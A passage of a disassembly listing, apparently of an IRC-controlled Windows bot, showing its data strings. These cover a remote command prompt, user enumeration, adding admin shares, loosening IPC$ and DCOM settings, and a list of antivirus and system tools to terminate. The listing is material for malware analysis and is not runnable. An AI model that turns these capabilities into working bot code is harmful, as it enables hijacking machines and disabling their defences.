DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 4 aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_439364 db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 4 unk_439398 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 10h dword_4396A0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_4396CC db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_4396F8 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_439800 dd offset dword_4397F4 dd offset dword_4397E8 dd offset dword_4397DC dd offset dword_4397D0 dd offset dword_4397C4 dd offset dword_4397B4 dd offset dword_4397A8 dd offset dword_43979C dd offset dword_439790 dd offset dword_439784 dd offset dword_439774 dd offset dword_439768 dd offset dword_439758 dword_439758 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; ___:00439754o dword_439768 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439750o dword_439774 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:0043974Co dword_439784 dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439748o dword_439790 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439744o dword_43979C dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439740o dword_4397A8 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043973Co dword_4397B4 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439738o dword_4397C4 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439734o dword_4397D0 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439730o dword_4397DC dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:0043972Co dword_4397E8 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:00439728o dword_4397F4 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:00439724o dword_439800 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:00439720o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043971Co align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439718o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:00439714o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:00439710o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:0043970Co align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:00439708o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:00439704o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:00439700o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396FCo align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396F8o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 10h unk_4398B0 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_4398D4 db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_4398F8 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_439928 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439958 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h unk_439980 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_4399B0 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_4399E4 db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 off_439A08 dd offset dword_439A40 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao align 10h dd offset dword_439A38 align 8 off_439A18 dd offset dword_439A34 ; DATA XREF: sub_41A19D+1E3o dd offset dword_439A30 dd offset dword_439A2C dd offset dword_439A28 dword_439A28 dd 5C3A44h ; DATA XREF: sub_419E79+217o ; ___:00439A24o dword_439A2C dd 2444h ; DATA XREF: ___:00439A20o dword_439A30 dd 5C3A43h ; DATA XREF: ___:00439A1Co dword_439A34 dd 2443h ; DATA XREF: ___:off_439A18o dword_439A38 dd 494D4441h, 244Eh ; DATA XREF: ___:00439A10o dword_439A40 dd 24435049h, 0 ; DATA XREF: ___:off_439A08o dword_439A48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439A78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 10h dword_439AA0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439ACC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_439AF0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439B1C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_439B40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439B70 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439BAC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_439BE0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 10h dword_439C30 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439C60 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_439C80 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 10h dword_439CB0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_439CE0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_439D08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_439D28 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_439D64 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_439D9C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_439DDC dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_439DF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h dword_439E50 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 10h aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 10h aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 10h aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A068 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A144 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 4 aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo align 4 dword_43A178 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A1BC dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A1C0 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A1C4 dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A1CC dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A1DC db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A20C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43A238 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A254 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 10h dword_43A290 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A2AC dd 2A2F2Ah ; DATA XREF: sub_41ADB5+3Bo dword_43A2B0 dd 6B1A2554h ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A2C0 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A2CC dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A2D8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A2DC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A2F0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A2F4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A300 dd offset off_43A300 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A304 dd offset off_43A300 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A318 dd offset dword_43A318 dword_43A310 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A318 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A308o ; ___:0043A30Co off_43C320 dd offset off_43A300 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C324 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C328 dd offset word_43C332 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C32C dd offset word_43C332 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C332 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C328o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43C534 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43C538 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43C540 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43C544 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43C548 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43C550 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43C554 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43C560 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43C640 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43C644 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43C7A8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43C7B0 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43C7B8 dd 14h ; DATA XREF: sub_421624+2o off_43C7BC dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C2A0h, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43C890 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43C8A0 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43C8B8 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43C8C4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43C8D0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43C8D4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43C8D8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43C8DC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43C8E0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43C8E4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43C8F4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43C8F8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43C8FC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43C970 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43C974 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43C978 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43C97C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43C980 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43C988 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43C98C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433854h dd 0FFh, 427960h off_43CA18 dd offset dword_4DB5E0 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DB5E0 dd 101h dword_43CA28 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43CA38 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43CA58 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43CA88 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43CC98 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43CCA0 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43CCA8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43CCC0 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43CCD8 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43CCDC dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43CCE0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43CCE4 dd offset dword_545350 ; DATA XREF: ___:off_43CD64o dd 0Fh dup(0) off_43CD24 dd offset dword_544450 ; DATA XREF: ___:off_43CD68o dd 0Fh dup(0) off_43CD64 dd offset off_43CCE4 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43CD68 dd offset off_43CD24 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43CD70 dd 0FFFFFFFFh ; DATA XREF: 